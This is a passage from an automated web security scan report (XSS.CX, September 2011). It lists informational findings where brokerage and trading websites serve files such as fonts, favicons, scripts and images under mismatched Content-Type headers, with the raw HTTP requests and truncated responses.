Last-Modified: Fri, 01 Jul 2011 17:11:56 GMT
ETag: "4f702a8-37e-1d5aaf00"
Accept-Ranges: bytes
Content-Length: 894
X-Powered-By: PleskLin
Connection: close
Content-Type: text/plain

..............h.......(....... ...........@.............................................................................................................................................................
...[SNIP]...

26.13. http://www.algoadvantage.com/fonts/helveticaneue-roman-webfont.woff previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.algoadvantage.com
Path:	/fonts/helveticaneue-roman-webfont.woff

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /fonts/helveticaneue-roman-webfont.woff HTTP/1.1
Host: www.algoadvantage.com
Proxy-Connection: keep-alive
Referer: http://www.algoadvantage.com/?gclid=CIb8vp2wjqsCFSBCgwod8wjOtA
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:53 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 01 Jul 2011 17:11:49 GMT
ETag: "50e1ba0-5de4-1cefdf40"
Accept-Ranges: bytes
Content-Length: 24036
X-Powered-By: PleskLin
Connection: close
Content-Type: text/plain

wOFF......].................................FFTM...l........\...GDEF........... ....OS/2.......N...Vd.%.cmap..............1.cvt .......*...*..
_fpgm...........e../.gasp...d............glyf...l..O{....
...[SNIP]...

26.14. http://www.efutures.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.efutures.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.efutures.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Efutures=47a42fa17f407fb514b047c2a077e9e5; __utma=212738496.1761536259.1315527925.1315527925.1315527925.1; __utmb=212738496.1.10.1315527925; __utmc=212738496; __utmz=212738496.1315527925.1.1.utmgclid=CN_fipqwjqsCFUsaQgodfyAdwQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:47 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Sun, 09 Mar 2008 10:07:41 GMT
ETag: "114442d-74ae-41f9d540"
Accept-Ranges: bytes
Content-Length: 29870
Connection: close
Content-Type: text/plain; charset=UTF-8

......@@......(2..v...00...........2.. ..........FO..........H....[..........h...6c.. ...........f..........h...Fo..(...@................2...................................................c..Z..s..
...[SNIP]...

26.15. https://www.efutures.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.efutures.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

Response

26.16. http://www.interactivebrokers.co.uk/contract_info/v3.7/js/FormFilter.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.interactivebrokers.co.uk
Path:	/contract_info/v3.7/js/FormFilter.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain HTML.

Request

GET /contract_info/v3.7/js/FormFilter.js HTTP/1.1
Host: www.interactivebrokers.co.uk
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.co.uk/contract_info/v3.7/index.php?cd855
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:07 GMT
Server: Apache
Last-Modified: Wed, 07 Sep 2011 13:12:43 GMT
ETag: "2daacc-6fa5-b30ec8c0"
Accept-Ranges: bytes
Content-Length: 28581
Content-Type: application/x-javascript

////////////////////////////////////////////////////////////////////
// FormFilter class
FormFilter.CLASS_NAME = "FormFilter";

// Constants
FormFilter.FILTER_DIV_ID = 'PopupFilterDiv';

// Constants
...[SNIP]...

26.17. http://www.interactivebrokers.co.uk/contract_info/v3.7/js/cicObj_en.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.interactivebrokers.co.uk
Path:	/contract_info/v3.7/js/cicObj_en.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /contract_info/v3.7/js/cicObj_en.js HTTP/1.1
Host: www.interactivebrokers.co.uk
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.co.uk/contract_info/v3.7/index.php?cd855
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:09 GMT
Server: Apache
Last-Modified: Wed, 07 Sep 2011 13:12:43 GMT
ETag: "2daadc-20a4-b30ec8c0"
Accept-Ranges: bytes
Content-Length: 8356
Content-Type: application/x-javascript

new Continent('_AF', 'Africa', '1,433');
new Continent('_AS', 'Asia/Pacific', '137,976');
new Continent('_EU', 'Europe', '660,059');
new Continent('_LM', '[$regionLatinAmerica]', '26');
new Continent(
...[SNIP]...

26.18. http://www.interactivebrokers.com/images/sitetemplate/new/mnTempFlag_UK.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/images/sitetemplate/new/mnTempFlag_UK.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/sitetemplate/new/mnTempFlag_UK.gif HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/pagemap/pagemap_education.php?ib_entity=uk
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:29 GMT
Server: Apache
Last-Modified: Fri, 04 Mar 2011 20:56:42 GMT
ETag: "3e0091-3ac-62111680"
Accept-Ranges: bytes
Content-Length: 940
Connection: close
Content-Type: image/gif

.PNG
.
...IHDR...0.........../.....tEXtSoftware.Adobe ImageReadyq.e<...NIDATx..VmH.Q.>............h.
.)j...,.R4KQ....2C.."B...CI.
M..&.+.KP.S.d9,!........:..w0l.?.v....{.=.y.9...d4.......|."..A..`..
...[SNIP]...

26.19. http://www.interactivebrokers.com/mkt/ticker/getFXMDdata.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mkt/ticker/getFXMDdata.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

26.20. https://www.interactivebrokers.com/sso/Login previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/sso/Login

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

26.21. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /login/ranweb.asp HTTP/1.1
Host: www.secureclient5.ranweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Sep 2011 19:46:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html
Cache-control: private
Content-Length: 51

An error has occured in RANWeb: Invalid use of Null

26.22. http://www2.daytrade4less.com/livesupport/image.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.daytrade4less.com
Path:	/livesupport/image.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /livesupport/image.php HTTP/1.1
Host: www2.daytrade4less.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:19 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Content-Length: 93
Connection: close
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">Config error: reason: config not found! Exiting... [image.php]</font>

26.23. http://www2.daytrade4less.com/livesupport/scroll_image.php previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.daytrade4less.com
Path:	/livesupport/scroll_image.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /livesupport/scroll_image.php HTTP/1.1
Host: www2.daytrade4less.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:19 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Content-Length: 86
Connection: close
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">[Configuration Error: config files not found!] Exiting...</font>

Report generated by XSS.CX at Thu Sep 08 19:14:33 GMT-06:00 2011.